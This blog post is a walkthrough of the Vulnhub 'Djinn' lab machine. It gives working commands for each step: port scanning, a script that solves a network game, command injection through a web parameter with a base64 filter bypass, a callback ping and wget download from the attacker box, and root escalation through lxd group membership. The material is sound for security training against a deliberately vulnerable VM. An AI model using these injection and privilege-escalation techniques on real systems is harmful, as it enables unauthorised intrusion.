Sunday 18 April 2021

Vulnhub Writeup: Djinn

Vulnhub - Djinn Writeup.md

Vulnhub: Djinn

Description

Level: Beginner-Intermediate
flags: user.txt and root.txt
Description: The machine is VirtualBox as well as VMWare compatible. The DHCP will assign an IP automatically. You’ll see the IP right on the login screen. You have to find and read two flags (user and root) which is present in user.txt and root.txt respectively.
Format: Virtual Machine (Virtualbox - OVA)
Operating System: Linux

You can download the box from vulnhub here.

Initial Scans

nmap -sn 192.168.110.0/24

Server is up on IP 192.168.110.134

sudo autorecon 192.168.110.134

Open Ports

PORT     STATE    SERVICE REASON         VERSION
21/tcp   open     ftp     syn-ack ttl 64 vsftpd 3.0.3
22/tcp   filtered ssh     no-response
1337/tcp open     waste?  syn-ack ttl 64
7331/tcp open     http    syn-ack ttl 64 Werkzeug httpd 0.16.0 (Python 2.7.15+)

21/tcp - vsftpd 3.0.3

Anonymous ftp is allowed

anon ftp allowed

creds.txt

nitu:81299

game.txt

oh and I forgot to tell you I’ve setup a game for you on port 1337. See if you can reach to the
final level and get the prize.

message.txt

@nitish81299 I am going on holidays for few days, please take care of all the work.
And don’t mess up anything.

22/tcp - ssh

Port is filtered, possibly a sign of port knocking.

1337/tcp

Here’s the game we were told about

here's the game

I’ll come back to this later after checking out the website. Looks like a script could be written to answer the questions or maybe there is a classic binary exploit.

lots of A

looks like lots of digits might cause something - no response…

lots of 9

7331/tcp - Werkzeug httpd 0.16.0 (Python 2.7.15+)

Homepage

homepage

None of the links lead anywhere, nothing much in page source

Gobuster

I normally use directory-list-2.3-big.txt but this is huge and running against this Werkzeug webserver is slow.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -u http://192.168.110.134:7331 -o gobuster-root-raft-small-dir.txt

gobuster small results

Tried with large, no additional. Tried busting /genie/XXX nothing additional, likely these are python endpoints and not actual directories.

Entering a “wish” at /wish sends a POST to /wish which redirects to /genie?name=

wishing

Unfortunately the genie didn’t grant my wish…

genie

This isn’t actually a 403 response, it’s a 200

http response

Entering some data in the name parameter puts the content in the response. Might be good for XSS but unlikely XSS will do anything on a boot2root box.

response

I’ll come back to this a bit later once I’ve had another look at the game port.

Back to the game port 1337

So after spending too long writing a PowerShell script to play the game, it finally returned the gift!

$VerbosePreference = "continue"
$Server = "192.168.110.134"
$Port   = "1337"

$Script:TcpConnection    = New-Object System.Net.Sockets.TcpClient($Server, $Port)
$Script:Stream           = $TcpConnection.GetStream()                              
$Script:Writer           = New-Object System.IO.StreamWriter($Stream)

$Writer.AutoFlush = $true

$Script:Bytes = New-Object System.Byte[] $TcpConnection.ReceiveBufferSize
$Script:Encoding = New-Object System.Text.AsciiEncoding

function ReadStream {
    while (-not($Stream.DataAvailable)) {
        start-sleep -m 100
    }
    while( $Stream.DataAvailable ) {
            $Read = $stream.Read($Bytes, 0, $TcpConnection.ReceiveBufferSize )
            $last = ($Encoding.GetString($Bytes, 0, $Read)).trim()
            Write-Host $last -nonewline
    }
    Return $Last
}

$loopNo = 1..1005

foreach ($no in $loopNo) {
  Write-Host "Starting Loop: $($No)" -Foregroundcolor Green
  $last = ReadStream
  $instruction = $last.Split("(")[-1]
  if ($last -match "gift") {Write-Host $last -foregroundcolor Cyan}
  if ($last -match "Wrong") {write-error "fucked" ; break}

  [int]$num1 = $instruction.split(",").trim()[0]
  $op = $instruction.split(",").trim()[1]
  [int]$num2 = $instruction.split(",")[2].split(")")[0]

  switch ($op) {
    "'/'" {$answer = $num1/$num2 ; break}
    "'*'" {$answer = $num1*$num2 ; break}
    "'+'" {$answer = $num1+$num2 ; break}
    "'-'" {$answer = $num1-$num2 ; break}
  }

  Write-Host " $($answer)" -Foregroundcolor Magenta
  $Writer.WriteLine($answer)
}

$Writer.Close()
$TcpConnection.Close()

here's your gift

Looks like some port knocking ports to me!

We’re in bois!

we're in

Creds not working here…

oh well

back to the webserver to look for creds

It looks like some responses from /wish result in “Wrong+choice+of+words” in the response. I used intruder on /wish to determine bad characters.

burpsuite intruder

payload is all single printable characters to see what’s banned

loading characters in intruder

sorting by length in the intruder window, the banned characters are

$ * . / ; ? ^ w

hold on… “w”? that’s weird… And the result length is 895 which is much bigger…

intruder attack

OK so this forwards us to http://192.168.110.134:7331/genie?name=+01%3A37%3A19+up+47+min%2C++0+users%2C++load+average%3A+0.01%2C+0.05%2C+0.02%0AUSER+++++TTY++++++FROM+++++++++++++LOGIN%40+++IDLE+++JCPU+++PCPU+WHAT%0A

looks like that’s the output from a command…

man w

Perhaps we can do command injection.

Lol it’s just straight up type a command, get a result! There are just some bad characters to work around. I guess the clue is in the parameter name cmd!

Here is a working call back ping using IP DWORD encoding

$ipdword = 0 ; $num = 3 ; "192.168.110.128".split(".") | % {$ipdword += ([int]$_)*[math]::pow(256,$num) ; $num--} ; $ipdword
cmd=ping+-c+3+3232263808

Here’s my working bypass for “/” character. Just base64 encode your commands, then evaluate the base64 back into a command on the target.

ryu@kali-local:~$ echo -n "cat /etc/passwd" | base64
Y2F0IC9ldGMvcGFzc3dk

cmd=echo+-n+Y2F0IC9ldGMvcGFzc3dk+|+base64+-d+|+xargs+-I+{}+bash+-c+{}

Getting the output of app.py using above method shows us an interesting file - creds.txt

app.py output

Getting the output of /home/nitish/.dev/creds.txt

command for creds

returning the creds

kermithacking.gif

ssh logged in

user.txt

user.txt proof

running sudo -l shows us a single command which can be run as sam

/usr/bin/genie is a custom binary

nitish can run sudo -u sam /usr/bin/genie -p bash -c ls which will spawn a shell as sam.

genie

sam can run a single binary using sudo, but this time as root. Unfortunately the file cannot be read as sam and therefore attacking it is blind.

(root) NOPASSWD: /root/lago

sam is also in the lxd group so can create a container with root privs on the actual filesystem and write files as root.

Here is Conda’s excellent lxd video

And here’s all the commands

on attacker box

git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder/rootfs/usr/share
sudo mkdir alpine-mirrors
cd alpine-mirrors/
echo "http://alpine.mirror.wearetriple.com" | sudo tee MIRRORS.txt
cd ../../../../
sudo ./build-alpine
ls -al
python -m SimpleHTTPServer

on target

cd /tmp
wget http://192.168.110.128:8000/alpine-v3.13-x86_64-20210401_2157.tar.gz
lxd init

hit enter through all prompts

lxc image import ./alpine-v3.13-x86_64-20210401_2157.tar.gz --alias privesc
lxc init privesc privesc-container -c security.privileged=true
lxc list

should now have STOPPED container

STOPPED

now map the root fs and spawn a shell

lxc config device add privesc-container mydevice disk source=/ path=/mnt/root recursive=true
lxc start privesc-container
lxc exec privesc-container /bin/sh

now you have root write to the original root file system in /mnt/root. So you could do something like:

chmod +w /mnt/root/etc/sudoers
vi /mnt/root/etc/sudoers # edit your user to be "user ALL=(ALL:ALL) ALL"
chmod -w /mnt/root/etc/sudoers
exit

sudo root

rooted

rooted

intended route?

Now we have root, we can read the /root/lago script (it can’t be read as sam so you’re attacking it blind normally.) The only function that results in anything other than a print statement is the random number game.

guess function

So I guess we need to work out how to send the same answer over and over until it’s correct.

I couldn’t work out how to send user input reliably so here is my quick and dirty method which involves typing “2, ENTER” over and over again!

while [ 1 ]; do sudo /root/lago; done

Awful hacky solution, but since the problem space is 1-100 it’s not too bad!

keep pressing 2!

lol

This Medium post by Kanti Paul has a cool bypass for the whole box! Python injection in the “game” port 1337! Really impressed by this and a great trick to add to the toolbox!

Written with StackEdit.

No comments:

Post a Comment

Please be nice! :)

Nutanix CE 2.0 on ESXi AOS Upgrade Hangs

AOS Upgrade on ESXi from 6.5.2 to 6.5.3.6 hangs. Issue I have tried to upgrade my Nutanix CE 2.0 based on ESXi to a newer AOS version for ...